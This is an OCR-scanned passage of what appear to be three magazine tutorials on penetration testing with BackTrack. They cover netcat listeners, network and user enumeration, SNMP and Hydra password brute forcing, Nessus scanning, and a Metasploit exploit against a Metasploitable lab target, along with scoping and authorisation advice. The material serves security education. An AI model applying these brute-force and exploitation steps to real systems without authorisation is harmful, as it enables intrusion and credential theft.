lected in order to have everything recorded so that
you can analyze it even when you aren’t connect-

» HaAaRING
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ed to the LAN you have to test. Furthermore, you
will use these records to make a detailed report
for your customer or to roll back in case you mess
with something.

| use Keepnote, to keep track of all my opera-
tions and results, and Zenmap (Nmap GUI) to map
the net, but BT has many more powerful tools than
these. Maltego, for example, is awesome.

Now let’s start to use the father of all tools, the fa-
mous “Swiss-army knife for TCP/IP”: Netcat.

Essentially, NC, is a utility which reads and writes
data across network connections, using TCP or
UDP transport. Nothing more, nothing less.

So why is it so important?

When a PC user without experience wants to test
if his machine is browsing Internet, he opens his
browser and points to a common address: www.
google.com. This is not the best test he could do,
he only finds out if he is browsing, but what about
if he is not browsing?

So the approach must be different. He has to
start from a layer closer to the PC, not closer to the
user, and investigate the causes, step by step, up
to the human layer.

You are not an inexperienced person, so you
start by opening a command shell and pinging
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your gateway. Is it responding? If not check it.
Then ping an external IP address (e.g. 8.8.8.8 that
is the Google DNS). Is it responding? Alright, you
are able to go out of your network. Next you test if
your DNS is working by pinging a DNS name like
www.google.com. Only if all works fine, you open
your browser and test the connection. Also from
the browser you can have problems (e.g. a mis-
configured proxy set in the browser) but, after all
the tests you have done previously, you can rule
out all lower layers and focus on the current one.

That's why NC is so important. It allows you to
start from the lowest layer, it is the equivalent of
the ping command used in the example, but it al-
lows you many more applications.

Well, open your Terminal window and have a
look at the NC help.

At the beginning you will use options -1 (set NC
in listening mode), -v (verbose mode is always bet-
ter) and -p (set port where NC is listening). Try this:
Open two Terminal windows in the same machine.
In the first window start a service that listens on a
specific port using Netcat (this is called listener)

nc -lvp 4444

If you have a look at the network connection of
your BT machine, using the command netstat -nat,
you will find a listening connection on port 4444
(tcp 0.0.0.0:4444 r1sTEN). In the second window use
nc as a client and connect to localhost on port 4444

nc 127.0.0.1 4444 -v

Hit enter and you establish a simple connection
with NC, but what is this?

Essentially, it is a simple chat. If in window 1 you
write something it will redirect to windows 2 and
vice versa. (Figure 1).

So NC is a program that allows you to communi-
cate using TCP or UDP protocols and you can use
it whether as a client or as a server. TCP/UDP con-
nections are more useful than a simple chat: you
can use NC to test if a remote port is open, to grab
information about a service listening on a remote
PC (the banner), and to connect to this service; oth-
erwise you can use it to redirect text, request html
pages, and, last but not least, remotely admin a PC.

If you have two PCs try to use NC between them
or just continue the testing in the same machine
(that is the lower layer). For example, you can try
to pass text:

echo “This text will be transmitted using Netcat”
| nc 127.0.0.1 4444

www.hakin9.org/en

...and if the listener is as the following you can al-
so create a file with the text sent:

nc -lvp 4444 > file.txt

You can also try the -c option for remote administra-
tion. | suggest you to dig the Internet to search more
about Nefcat use.

As | said, finding information about the target is
the base of a successful test. What is the first thing
you have to do when you reach a LAN you have
to check? Find hosts to use as targets. If you can,
create your own hosts individuation scripts using
ping and NC or use some of the wonderful tools
present in BT. In my opinion, the best are Unicorn-
scan and Nmap, but, since | will shortly explain
them later, let’s explore some other programs with
less possibility, but working as well.

Start using netdiscover to find live hosts. Us-
ing netdiscover -p @ Network scan is started using
common LAN address (the one you are connected
to: Figure 2).

Netdiscover can also be used on another net-
work interface (-1) and IP range (-r). The -» option

Figure 2. Netdiscover at work
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is useful for better output. Netdiscover is a continu-
ous scan tool: it scans over and over the net in or-
der to find new hosts and it could be used to imple-
ment a very simple intrusion detection system. To
stop the scan you have to use [CTRL+C].

In a similar way you can use fping with option -g
to analyze a range of IPs. Note that fping uses the
ICMP protocol whereas netdiscover uses the ARP
protocol to locate network hosts, this is a good
double check.

Don’t forget to write down everything and trace
all. Particularly, start to compile a list of live hosts.

You can also try to give a DNS name to the hosts
you find using smbscan, but you will notice that the
program can find only a few, those with NetBIOS
name enabled.

Let’'s now try to find something more using DNS
discovery. If you are in a domain or if you are scan-
ning for DNS names in the Web, you can try to
operate a DNS zone transfer and capture DNS re-
cords. When you can perform this operation, you

~ ~ ¥ root@bt: -
File Edit View Terminal Help

ocal secdns.testnet.local | grep B

Figure 3. DNS zone transfer on a local domain using host
command

enumerati on/dns/d nsenum

Figure 4. DNSenum on a Web domain

- HAaRINS
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get other sensible information and, maybe, hosts
not previously discovered. The DNS transfer zone
is a query that synchronizes Primary and Second-
ary DNS servers, but if administrators misconfig-
ure them, everyone can query for transfer and get
all DNS records. DNSenum is a tool that tries to
make a zone transfer and catch the results. The
basic operation is quite simple: you just have to set
the domain name to target.

Note that you can try the zone transfer both on
a local (Figure 3) or an Internet domain (Figure 4).

You have to notice that a DNS zone transfer, even
if successfully done, does not give to hackers a direct
access to the servers, but gives them much informa-
tion that can be useful to expand the attack surface.
Look at Figure 4; the DNS transfer zone highlights at
least 3 attack vectors: webmail, ftp, and sftp.

It Is therefore essential to act to block all the at-
tacks and scans you can. Also ARP and ICMP scans
must be stopped in a protected LAN. Unfortunate-
ly, this isn’t always practical: in a Microsoft domain,
for example, some administrative system tools don’t
work with restrictive local firewall policies.

It is not easy to find a balance between security
and efficiency.

Ok, you have done a good hosts analysis and
you have a list of IPs alive on the network, now you
can start user account identification.

As for the hosts, user discovery can be done us-
ing many methods. You can scan Google search-
ing for email accounts of your target company, ex-
plore corporate Web pages looking at pdf or word
documents and who are the creators of the docu-
ments; if you have access to the LAN you are test-
ing, you can try to get information from SNMP or
SMTP protocol.

Below are some scripts and programs that will help
you, present in BT. The harvest, by Edge-Security
Research, is a very useful one, you find it in the fold-
€I /pentest/enumeration/theharvest. It searches for a
company name in various resource databases

(Google, Linkedin, PGP, Bing...) and can be used
to extract probable user names. In Figure 5 you
can see the result of some research: maybe vdiaz,
cdelojo, cmartorella and xmendez are also FTP,
SSH, or RDP users.

Again by Edge-Security.com you can use meta-
gOOﬁI (/pentest/enumeration/qooqle/metagoofil/) to try
to find users that create documents, downloadable
from the domain you point at, such as docs or pdfs.

As well as using Web search to catch compa-
ny user names, you can try to obtain information
by SNMP or SMTP. SNMP is a protocol based on
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UTP that is often used to monitor server service
status. The authentication methods (community
strings) are passed in clear and often have the de-
fault state (public or private), so you can easily try
to find it in order to get much information.

You can use programs such Snmpenum and
Onesixtyone for this. Let's see how they work.

Initially, you have to use Onesixtyone to enumer-
ate comunity strings; with the info collected before,
make a list of hosts, write it down on a file (/tmp/
hosts.txt), and then point to pentest/enumeration/
snmp/onesixtyone and do the following:

./onesixtyone -c dict.txt -i /tmp/hosts.txt -o
/tmp/log.txt

In this command you use a file dict.txt, already
present in the onesixtyone folder, to “brute force”
the community strings; you use the hosts file you
have found before to set targets and, at the end,
make a log file. In Figure 6 you can find a sample
of what you can get.

In the sample you see some printers, some
switches, and a server (192.168.1.10).

Go on and use snmpenum over 192.168.1.10
setting “public” as the community string and the
windows.ixt template (already present) to merge
output information (Figure 7)

This is just a sample, but you can get much more
information than this using SNMP. You can find
processes running, open ports, system informa-
tion, and much more.

+  » root@bt: /jpentest/enumeration/theharvester

rvester# ./theHarvester.py @

Figure 6. Onesixtyone log

www.hakin9.org/en
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For now, limit yourself to the users. What you
want is to create a document like hosts.txt, but with
possible user names.

There are many other methods to identify users
such as using SMTP server (smtpscan) and try to
test the VRFY functionality (smtp-user-enum). Spi-
dering a target website to collect unique words (/
pentest/password/cewl) or Snifﬁng network traffic
(Wireshark) can also be useful. In the menu Back-
track > Information Gathering > Network analysis
you can find many tools to reach your target. Try
to find as many names as you can, but don’t forget
to add in your list the most common user names
(root, admin, administrator...).

Let’s have a look at network scanners, limiting us
to a simple scan, with the only objective to find
some services that can be used as targets. Please,
make sure to keep in mind that scanners are much
more than what you will read here.

Of course NC can be used as a network scanner,
but the best programs are Unicorscan and Nmap
so let’s start with the first one. The commands in
Figure 8 perform a simple scan, pointing at a sin-
gle target (192.168.34.135), testing common TCP
(-m T) and UTP (-m U) ports, typically those used
by common services such as FTP, SSH, SMB, and
MySQL. The last command in Figure 8 is a scan
of all of the subnet 192.168.34.%, but only on FTP,
SSH, SMB, and RDP ports.

File Edit View Terminal Help

fsnmpenum# perl snmpenum.pl B

Figure 8. Some basic scans using Unicornscan
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You can perform the same thing using Nmap.
The command nmap 192.168.34.135 scans TCP com-
mon ports; if you add the -sU option, it will scan
UDP ports. The single target can be replaced with
192.168.34.*, 192.164.34.0/24 or your hosts.ixt to
explore all of the subnet or specific IPs; adding the
option -p 21-23,3389 you will limit the scan to port
21, 22, 23 and 3389.

The result will be probably the same, but if you
try Nmap you will see more information. In addition,
it can be quickly implemented to determinate what
kind of program is listening over the port discovered
(-sv) and what operating system is installed (-o).
Please, take a look at the Nmap Help to learn more
options and remember that the man command or
help are always your friends. If you are afraid to
use the Terminal, use the Nmap GUI: Zenmap. You
have to remember that every GUI is at least one lay-
er over its command-line program; anyway let's use
the graphic interface of Nmap and try to find FTP,
SSH, Telnet, and RDP services in the subnet (Fig-
ure 9). Using scanners, make a list of hosts using
FTP, another one of hosts using RDP, and so on.

Well done! You have completed your basic net-
work gathering phase, now you can merge all your
lists and launch your first attack.

What do you need? A username list, a file listing
hosts with specific services, a password list, and
a program to put everything together. If you don’t
have a password list, one can be easily found in

v % Zenmap

Scan Tools Profile |i.g||:.

Target: |192.168.34.130-135 v | Profile: L Scan

Command: |nmap -p 21-23,3389 -0 192.168.34.130-135

Hosts Services Nmap Oulpul | Ports / Hosts Topology Hast Details Scans

nmap -p 21-23,3389 192.168.34.* L
21/tep  closed Ttp

22/tcp  closed ssh

Z3/tcp  open  telnet

il 3389/tcp open  ms-wht-server

telnet MAC Address: ©0:50:56:31:67:4A (VMware)

Sovice v Details

ms-whi-server

Nmap scan report for 192.168.34.135
Host is up (B.BB23s latency).

PORT STATE SERVICE

2l/tcp open  ftp

22/tcp closed ssh

23/tcp  open  telnet

3389/tcp open  ms-wht-server

MAC Address: ©0:0C:29:B7:57:28 (VMware)
Nmap scan repert for 192.168.34.254

Host is up (0.08625s latency).
PORT STATE SERVICE

Filter Hosts
Figure 9. Nmap GUI

Hosts RDP FTP Telne Users Passw Keys

1921 192.1 102.1 192.1 root pasin adnin
1021 1921 1021 1021 Adnin 1734 adnin

Figure 10. A diagram of the operation of THC-Hydra
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the folder /pentest/password/wordlist/ OF by asearch
on the Web. The kind of attack you will do is called
“‘wordlist attack™: it isn’t the most elegant way to per-
form a penetration test but it may be very incisive.

The program to join your lists is Hydra (or its GUI
xHydra). In Figure 10 is how it works.

Open the Hydra GUI (Privilege Escalation > Pass-
word Attacks > Online Attacks > Hydra-gtk) and, in
the Target tab, insert the target list (e.g. FTP_hosts.
txt), the port to test and the protocol (21 / FTP).

The options “Show attempts” and “Be verbose”, are
useful to better understand what the program does.

Go in the Password tab and insert the user and
the password lists; don’t forget to check “try login as
password” and “try empty password”. For a basic test
don’t use Tuning and Specific tabs; move to the Start
tab and run the attack. It takes a while, but | Hope
you can find some user and password associations.

You can also try to extend your lists to have more
chances, but remember that this attack may take a
very long time. In a pen test you must have a very
strong reason to spend 8 or more hours for a word list
attack. Anyway, if you find some associations write
them down and be ready to reuse it: users are used
to using the same password for more than one ser-
vice. You can start to write a file with user:password,
you will use it on Hydra in the Password tab instead
of users and password lists. When you discover a
new service, you can first use Hydra with the new
file created an than the lists of users and passwords.
This will speed up your work.

| hope you now have user/password to access
FTP, SMB or, if you are lucky, SSH or RDP services.

This is not the end of the test, this is the begin-
ning. You will use this access to gain more informa-
tion and to find more vulnerabilities all over the LAN.

But what about if you can’t find anything? Don’t
worry these are just the first arrows in your quiv-
er. After these you can try many other things such
as web vectors, exploit some other vulnerability,
or ARP poisoning. There are so many options that
you are the only limit and every discover is the
start of another one.

So when you open a new port, restart from the
beginning, restart from sharpening your axe.

DAVIDE PERUZZI

= Davide Peruzzi, OSCP certified, is a sys-

| “ tem administrator and freelance security

!E‘: i |,- : consultant with about 10 years of experi-
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PenTesting with

BackTrack

PenTesting, short for penetration testing, is a technique used
for evaluating the security posture of systems, applications,
and network of an organization from internal as well as
external threat agents, at the request of the owner.

technique used for evaluating the security
posture of systems, applications, and net-
work of an organization from internal as well as
external threat agents, at the request of the owner.
A threat agent could be an employee making un-
intentional mistakes that can compromise the in-
tegrity of the information, or a hacker sending mal-
ware through unfiltered/open ports on the firewall.
A pen-test emulates the same techniques an at-
tacker would use, and therefore it should align with
the latest hacking methodologies. Organizations
perform this to determine the effectiveness of their
security measures.
To effectively execute a pen-test, one must fol-
low a methodology. Following are a few examples:

P enTesting, short for penetration testing, is a

« PTES (Penetration Testing Execution Stan-
dard)

* LPT (Licensed Penetration Tester)

+ OSSTMM (Open Source Security Testing
Methodology Manual)

* ISSAF (Information Systems Security Assess-
ment Framework)

or else one can have their own methodology, as

long as it solves the purpose of a near-perfect se-
curity evaluation.
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In this article, we will discuss pen-testing using a
Linux-based distribution aimed at penetration test-
ing and digital forensics, called BackTrack (BT).
It is an open-source and completely free to install
and use OS, written by Mati Aharoni & Devon Ke-
arns and funded by Offensive Security. BT pro-
vides a plethora of tools that aids security profes-
sionals in performing pen-tests. Following are the
commands that can help you stay up-to-date with
tools in BT (Figure 1).

? Misee

< back | track

Figure 1. Tools in BT5
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PenTesting with BackTrack

# apt-get update
# apt-get upgrade

or

# apt-get dist-upgrade

Getting Started with BT
BT can be downloaded from http.//www.backtrack-
linux.org/downloads/, in the form of VMWare that
can be used with a Virtual Machine, or an ISO file
that can be used for LiveDVD/LiveUSB or hard-
disk installation. For the purpose of this article, |
have downloaded the following: Figure 2.

Once downloaded, it can be used in numerous
ways:

« LiveDVD

« LiveUSB

» Hard Disk Installation
* VMWare Installation

Installation details can be found at http:/www.
backtrack-linux.org/wiki/index.php/Installation.

One installed, you will be asked to login. Follow-
ing are the default credentials:
username: root

password: toor

Note: You will not be able to see the password as
you type it in. After successful login, you will see the
following screen. You can start working here, but it
will be text based only, NO GUI. To enter into the
GUI mode, type startx, and hit Enter (Figure 3).

PenTesting using BT
Before we commence with testing, you will need to
determine the proper scope of the test, timeframes
and restrictions, the type of testing (Whitebox,
Blackbox), and how to deal with third-party equip-
ment and IP space. The Penetration Testing Ex-
ecution Standard (PTES) lists these scoping items
in an easy to understand way. | highly recommend
that you review the phases at: http.//www.pentest-
standard.org.

For the purpose of this article, please note the
following:

» Attacker Machine [BT5R3]:
IP: 192.168.1.100

* Victim Machine [Metasploitable 2 — Linux]:

www.hakin9.org/en
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IP: 192.168.1.200
* Victim Website: http.//www.certifiedhacker.com

Our methodology for this demonstration will be di-
vided into 3 phases:

* Intelligence Gathering Phase
» Exploitation Phase
* Post-Exploitation Phase

Intelligence Gathering Phase

This phase of pen-testing deals with collecting in-
formation about the target/victim. An important
point to note is that no information you gather is
useless; it might come in handy at some stage of
the evaluation. Therefore, gather as much as you
can. We will use the following tools in BT for this
purpose:

WHOIS
* Nmap

+ Maltego
* Nessus

A
Vi W - ™

‘Downloads

Figure 3. BT5 Login Screen
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WHOIS

This command is used to get the WHOIS Lookup
information about the target website (Figure 4 and
Figure 5).

Nmap

Nmap is a security scanner used to discover hosts
and services on a computer network, thus creat-
ing a “map” of the network. To accomplish its goal,
nmap sends specially crafted packets to the tar-
get host and then analyzes the responses. Let’s do
this on our target machine (Figure 6).

-sS = Stealth Scan

-O = OS Fingerprinting

-p = Specify port range

-A = Enable OS detection, version detection,
script scanning, and traceroute

In Figure 7, we can see the open ports, services
running on those ports, script scanning being do-
ne on those open ports wherein the scripts try to

it =

Figure 4 and 5. WHOIS Lookup
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login to each port using either default login for the
services or anonymous in case of FTP, operating
system details, and traceroute information.

Nmap is a huge tool, and provides us with an
array of options to enhance our scan. For other
options, type in: nmap -h OF man nmap (t0 check the
manual page of nmap).

Generally, you can find a range of IP addresses
used by a website using a WHOIS lookup or oth-
er similar tools, and then run nmap and its scripts
against them to find details.

A GUI for nmap is also available in the form of
Zenmap.

Go to Applications -> BackTrack -> Information
Gathering -> Network Analysis -> Network Scan-
ners -> zenmap.

Maltego

Maltego is an open source intelligence-gather-
ing tool, which not only collects information about
the target, but also represents it in a user-friendly
manner.

Go to Applications -> BackTrack -> Information
Gathering -> Network Analysis -> DNS Analysis ->
maltego.

Maltego comes in two flavors: Community &
Commercial. Backtrack provides the communi-
ty edition, by default, and to use it, one needs to
register and create an account with paterva.com.

L el

Figure 6. Nmap Scan |

Figure 7. Nmap Scan Il
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After successful login, you will see the following
screen. Click Finish (Figure 8 and Figure 9).

Step 1
Drag & drop “Domain” from the left Palette column
into the Main View.

Step 2

Select the Domain in the Main View, and double-
click on it, to change the domain name, as shown
in Figure 10.

Step 3

Right Click on the Domain icon in the Main View,
and select Run Transforms -> All transforms, as
shown in the Figure 11.

PenTesting with BackTrack

Note: When you click on “All transforms”, you will
notice that Maltego wants you to accept a few dis-
claimers. Kindly read and accept them (Figure 12).

Step 4

Use the “Overview” tab, to browse over the re-
sults. You can use individual entities in the Re-
sults, to go into more details, and run further trans-
forms. To do that, select an entity, Right-Click ->
Run Transforms -> All transforms, as shown in
Figure 13.

Step 5

Once you get all the results through maltego, you
can save it in a file with “.mtgx” extension and can
later open it in maltego for analysis.

-
£
Tima

= = [ s s 5 e g 1+
Wil i | Bttt iew | tetipnt | @ 0 |2 [0 1

W -] A - e b | S R RN W

Figure 11. Maltego - Running Transforms
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Figure 10. Maltego - Domain Name
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Figure 13. Maltego - Further Transforms
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Nessus

Nessus is a vulnerability-scanning product by Ten-
able. Itis a lightweight security monitoring solution,
providing customers with targeted email notifica-
tions, remediation recommendations, increased
intelligence, and expanded platform support and
integration.

Nessus comes in two flavors:

* Home Feed (Free)
» Professional Feed (Subscription Basis)

Step 1
Run /etc/init.d/nessusd
service.

start, to start the Nessus

Nessus’ B,

........

[ I -] i - . Vit il Pl

Figure 14. Nessus - Login Screen

Figure 15. Nessus - Create User

Figure 16. Nessus - Home Screen
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Step 2
Open the browser, and type in the address bar:
https://localhost:8834.

Note: Make sure you have “Flash” running on
your browser (Figure 14).

Step 3

If you don’t have Login credentials yet, you can
create them by typing the nessus-adduser cOm-
mand, and follow it along as shown in Figure 15.

Step 4
Now login to the Nessus Login Page (Figure 16).

W i -] 1 Wt - Wi Fesfcs

Figure 18. Nessus — Result (Shows the vulnerabilities
categorized as High/Medium/Low)

B[ [ =) ) g - 1 Wit - M Petlcs

Figure 19. Nessus — Results Detailed
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Step 5

Select “Scan” from the tabs, and click on “Add”,
and fill in the details, as shown below in Figure 17,
and click on “Launch Scan”. In this case, we are
using a default policy “Internal Network Scan”; oth-
erwise, you can go to the “Policy” tab and custom-
ize and create your own policy (Figure 17).

Step 6

Now, wait until Nessus is scanning. Once done,
click the “Reports” tab to look at the results -> Dou-
ble-Click on Scan Report (Figure 18).

Step 7

To view these vulnerabilities in detail, click on
“192.168.1.200”, and traverse on, until you get to
the details of the vulnerability, as shown in Figure
19 for 445/tcp HIGH vulnerability.

Step 8
Download the results, by clicking on the “Download
Report” option on the left side, and then choose
the format in which you want to download the re-
port (Figure 20 and Figure 21).

Other Tools of Trade: dnsenum, hping3, unicorn-
scan, scapy, openvas.

5 xincnt L G ol

| el R U Y

Offereirve Secunty [ERpsinOS W Anrackrg B SeTarM

Tracersuta inlomation

Figure 21. Nessus - HTML Report
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Exploitation Phase

After gathering information about our target, we
are now aware of the vulnerabilities present in it
and therefore we will now try and exploit those
weaknesses using exploit tools, like metasploit.

Metasploit
Metasploit is a tool to execute exploit code against
target machines. It can also be used for evasion
and anti-forensics. It was written by H.D. Moore,
initially in Perl and later was completely rewritten
in the Ruby programming language. It has since
been acquired by Rapid7, and comes pre-installed
with BackTrack.

The Metasploit Framework can be accessed us-
ing various methods, like:

» mesfcli

* msfweb

* msfgui

* msfconsole
+ armitage

We will use nsfconsole, t0 access the metasploit
framework.

Step 1

Start the metasploit framework, by running

msfconsole.

e <

0 s g s g =

Figure 22. Metasploit - PHP CGI Exploit

W rwiin e
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Figure 23. Metasploit - Set Target
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Step 2

Search the framework for a vulnerability that was
already discovered in our target during the scan-
ning phase, i.e. PHP CGI Argument Injection.

Step 3

After finding the appropriate exploit available with
metasploit, we can utilize it, by running the use
command. Also note the change in the prompt, as
indicated in Figure 22.

Step 4
Run show options, to see the options available
with this particular exploit, and set the ones that

WO sen

s [

Figure 24. Metasploit - Successful Exploit

are unset and say YES, in the Required field. For
our purpose, we need to set RHOST, i.e. the target
machine’s IP address, by running the command as
indicated in Figure 23.

Step 5

Now you can either set any particular PAYLOAD,
by running show payloads & set PAYLOAD <pay-
load> or simply run exploit, to get the meterpreter
session, as shown in the Figure 24.

Step 6

Woo-hoo!! We have successfully exploited our tar-
get machine. Now, to look at all the exciting things
you can do, type “?”, and hit Enter. This will display
a list of commands you can play with.

Figure 28. MagicTree - Output

=

Figure 26. MagicTree - Add a Node
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Figure 29. MagicTree — Output Imported
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Similarly, you can try running other exploits,
on the target machine. For more information on
metasploit, refer to http://www.offensive-security.
com/metasploit-unleashed.

Post-Exploitation Phase

While doing the pen-test, it is a best practice to
manage our results at a centralized location, and
once, we have successfully pen-tested the target,
we will be required to submit the documents and
report supporting the claims. Tools like MagicTree
and Dradis available in BackTrack can help us
achieve those objectives. Let us look at an exam-
ple using MagicTree:

MagicTree
Go to Applications -> BackTrack -> Reporting Tools
-> Evidence Management -> magictree.

Step 1

At the screen above, press [Ctrl+N], to add a new
node, and enter your target machine’s IP address
when asked for the node value and click OK, as
shown in Figure 26.

Step 2

Click on Q*, on the left-top panel. Now, enter the
following command on the right panel in the Com-
mand field: nmap -sS -A -oX S$out.xml Shost, and click
Run (Figure 27).

g % 5L of BRI 133 7 6L b BRI A
g s
m (VR o [ L] v Vi | 7] Tk Mamngat T

Figure 31. MagicTree - Final Report
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-0X = Output the result to out.xml
$host = Variable that stores the host IP

Step 3

Once itis completed, you will get the results output
into the file “out.xml”. Select “out.xml”, and click on
Import (Figure 28 and Figure 29).

Step 4

Click on Report in the top menu -> Generate Re-
port. Browse and select “open-ports-and-summa-
ry-of-finding-hosts.odt” as the template, and click
on Generate Report.

Note: Run apt-get install openoffice.org, O in-
stall OpenOffice to view the report (Figure 30 and
Figure 31).

A description of the reports and deliverables
should be provided at the conclusion of the pen-
etration test. The report is broken down into two
major sections in order to communicate the objec-
tives, methods, and results of the testing conduct-
ed to various audiences:

» Executive Summary
» Technical Report

Conclusion

BackTrack is one dedicated Linux distribution for
penetration testing and digital forensics that has
the support of a great community of security pro-
fessionals across the globe. It started with BT
v1.0 in May 2006 and the latest version being Kali
Linux, released in March 2013. It already contains
a host of tools, which can assist you in completing
the penetration test for a small/medium/large scale
organization. This article covered a bird’s eye view
of PenTesting with BT; there is still a lot of fun stuff
left to explore. Good Luck!

PIYUSH VERMA

Piyush Verma, currently works as an In-
formation Security Consultant at KOENIG
Solutions, Dubai. Additionally, he delivers
training to professionals across the globe
on various Information Security Certifica-
tions such as CompTIA Security+, CEH v8,
ECSA|LPT, CHFI v8, Advanced PenTesting
with BackTrack & other trending courses.
His areas of interest include, but are not limited to, finding, ex-
ploiting and patching vulnerabilities, computer forensics in-
vestigations, cryptography, and writing technical articles.
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In this article we will give you a crash course in pentesting.
This article is meant to be a basis or primer if you wish; it will
teach you what a penetration test is and what it is not. We will
show you the basic steps that go into virtually all penetration
tests. And teach you what you need to be aware of, what to
look for, and how to get started. That being said, this is not

a “how to hack” article that will teach you how to break into
some unsuspecting company’s website and further penetrate

their internal infrastructure.

main Admin as the ultimate goal. And yes,

it is definitely a cool thing to do, BUT it's not
the only thing that one should try and accomplish
when performing a penetration test. Within most
companies there exist a large number of systems
and devices that are not members of the Domain.
There are many vectors and avenues of attack that
malicious individuals will use in order to gain ac-
cess to your network, some of these include us-
ing SQL injection techniques on your company’s
main website, probing for misconfigured applica-
tions and services, brute-forcing, utilizing default
username/password combinations, and Social En-
gineering to name a few.

What most attackers are going to do is look for
the ‘low hanging fruit’ which can really run the gam-
bit from the before mentioned default username/
password combination to unpatched servers with
common exploits. | think it was on my very first
pentest (long before Metasploit was ever dreamed
up) when | asked my mentor “where do | start” and
he replied “find the oldest thing you can on the net-
work and go after it”.

That being said, what is it that your company or
client wants to receive out of a pentest? That's ac-
tually the second question | ask clients when ini-
tially engaging with them prior to beginning a test.

Aat=lalifls

T here are many that consider obtaining Do-
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But the real answer is that they want an actionable
report! What the client needs is a report showing
what you did, how you were able to accomplish the
exploitation, and remediation information. During
a test you will often be able to exploit one system,
which may lead to another system and then to an-
other entirely different subnet.

The most important thing that you need before
you begin a penetration test is a signed agreement
between you and the client outlining the scope,
time frame, and most importantly, the signature
of a person who has the AUTHORITY to give you
permission to attack their network.

And don’t forget that if anything ‘happens’ dur-
ing a penetration test that’'s even IT related at all,
someone is going to come looking for you or your
phone is going to start ringing. I've even received
calls with someone asking “What are you doing?”
because some server crashed even before | had
fired up my laptop for the day! Penetration testing
can create a lot of network traffic and the pentester
being the wild card will catch the blame, so timing
the pentest can be critical.

| use a form when | engage with clients. The form
explains the methodology I'll be using and has
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places where they can fill in information specifying
what they want tested and what they don’t want
tested along with special attention targets and
check boxes for some items. Speaking of meth-
odology, if you are new to penetration testing or
thinking about getting into it, | would recommend
checking out the Open Source Security Testing
Methodology Manual (OSSTMM) and the Open
Web Application Security Project (OWASP) which
can be found at the their respective links:

* OSSTMM: http://www.isecom.org/research/os-
stmm.html

* OWASP: https.//www.owasp.org/index.php/OWA
SP_Testing Project

Note
OWABSP is actually in the process of updating to v4
and have a draft available on their site.

Your agreement will no doubt look differently than
ones | have used, and will be living document and
will change over time. At a minimum | would sug-
gest including the following in any agreement be-
tween you and your client:

« Start and End Date

+ Times the Testing can take place

+ List of internal contacts

* Your contact information

» List of Targets

» Special Attention Targets

» Targets to Exclude

* Type of Testing to be Performed along with the
Depth of the Engagement

+ If they want you to Perform Denial of Service
Attacks a space to justify it

* A Disclaimer about the Possibility of ‘Bringing
Down’ a System(s) or Service(s)

* A place for them to release you from damages
that may occur

» Signature of the Approver and his/her Title

Often when first engaged with clients they won't
have any idea what their options are and in some
cases what they even want tested. So | will explain
to them what | can do, explain different attack vec-
tors and avenues a malicious person can and will
use to try and gain access to their infrastructure.
This can take some time and will usually be very
back-and-forth between you and your client. Both
sides asking and answering questions.

The First real question | ask is “What is your pri-
mary concern, that is what you are most concerned
with, or where do you think you have the most risk?”

www.hakin9.org/en
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Their answer to this question will help you to guide
them throughout the rest of the conversation. Some
clients may have just had a breach from the out-
side, others may have installed some new piece of
network hardware and noticed they have a lot of
outbound connections to countries their employees
should have no business need to access, and yet
others with simply a test to satisfy compliance.

Depending on their answer, | will usually make
a recommendation and have them agree that my
recommendation is indeed what they are asking/
looking for. Sometimes it will depend on what they
have had tested in the past. If it's a new client,
or one that hasn’'t had a true penetration test in
a while, | will suggest that the test basically uti-
lize a three pronged approach, and recommend at
a minimum the testing be performed, by focusing
on the external (from the Internet), internal (user
space and server), and web applications (both In-
ternet accessible and internal).

Attimes | will have clients say something like ‘Well,
we’re not really worried about internal’, this when |
explain to them about what happens when some-
one spoofs an email from CEO and sends a mali-
cious PDF file to their Domain Admin that creates
an outbound connection to the attacker’s laptop,
and that the attacker will then have a direct tunnel
into their internal network, and ask what happens if
he installs a key-logger on that admin’s machine?

Again the main point here is that the conversa-
tion will go back-and-forth and sometimes may in-
volve multiple conference calls with different people
before they decide on what they want tested, and
you may have to explain and give examples about
what an attacker is capable of. At the end of the day
you are working for the client, and will want to pro-
vide them with the best course of action given their
specific needs. The ultimate goal is to agree upon
what is to be done, and have the appropriate per-
sons sign off on what you are about to do.

Assuming you now have the legal authority to per-
form a penetration test against someone’s network
you will need the proper tools!

For the rest of this article | will talk about some
of the most common tools that nearly every pen-
etration tester uses. | may not go into detail on all
of these due to scope, but this section should get
you set up, and give you the basics as well as point
you to some things which you can follow up on.
However, everything | am about to show you, one
should be able to replicate on their own personal
home network. For that reason | will try and focus
strictly on free and open source tools.
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As most corporate infrastructures are a hetero-
geneous mix of network devices and operating
systems all running different services and at differ-
ent patch levels, | recommend using at least two
different operating systems. Your first operating
system should be a Windows OS, and your sec-
ond a Linux distribution.

When anybody asks me about how they should
set up their attack platform, | usually recommend
running these on the same machine. Using a Win-
dows OS (I'm partial to Windows 7 Pro 64-bit) as
their main install, and then running a Linux VM. Over
the years there have been many Linux-based dis-
tributions released; some made for graphic artists,
video editing, and penetration testing. The main dis-
tro that you will see many penetration testers using
and you will easily be able to find the most informa-
tion on is BackTrack, and that's what will be using.

BackTrack’s website www.backtrack-linux.org de-
fines their distro as “BackTrack is a Linux-based pen-
etration testing arsenal that aids security profession-
als in the ability to perform assessments in a purely
native environment dedicated to hacking. Regardless
if you're making BackTrack you Install BackTrack,
boot it from a Live DVD or thumbdrive, the penetra-
tion distribution has been customized down to every
package, kernel configuration, script and patch solely
for the purpose of the penetration tester.”

I'll start out by assuming you have a Windows ma-
chine. First thing you will need is a way to run the
BackTrack VM. If you don’t already have it head
over to VMware’s website and download vmplay-
er; it's free for personal non-commercial use http://
www.vmware.com/products/player/. Vmplayer’s in-
stallation is very straight forward so | won’t cover
that here. Next you need to download the BackTrack
VM from http.//www.backtrack-linux.org/downloads/
as there are many different versions and options
you can pick when downloading just make sure you
set your options as follows — we will be downloading
the latest BackTrack 5 R3: Figure 1.

BackTrack decided to use 7zip to compress their
file, so if you have an issue extracting the archive you
can download 7zip from http.//www.7-zip.org/ and
use it to extract the vm. Once you have everything
downloaded, installed, and extracted. Go ahead
and launch VMWare Player. The First thing you will
need to do before you ‘Play’ the BackTrack VM is
to change a setting or two. Click on ‘Edit virtual ma-
chine settings’ on the right select ‘Network Adapter’
and then on the left, Change the Network Adapter
Connection type from ‘NAT’ to ‘Bridged’ and click the
‘Save’ button so that it looks like this: Figure 2.

- HaRING
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Note

The BackTrack virtual machine comes set for
768M of RAM — Depending on the total amount of
RAM you have available to your system you may
want to increase that!

Now go ahead and start the BackTrack virtual ma-
chine by clicking on ‘Play virtual machine’. The
first time you start up any virtual machine you
have downloaded or moved from machine to ma-
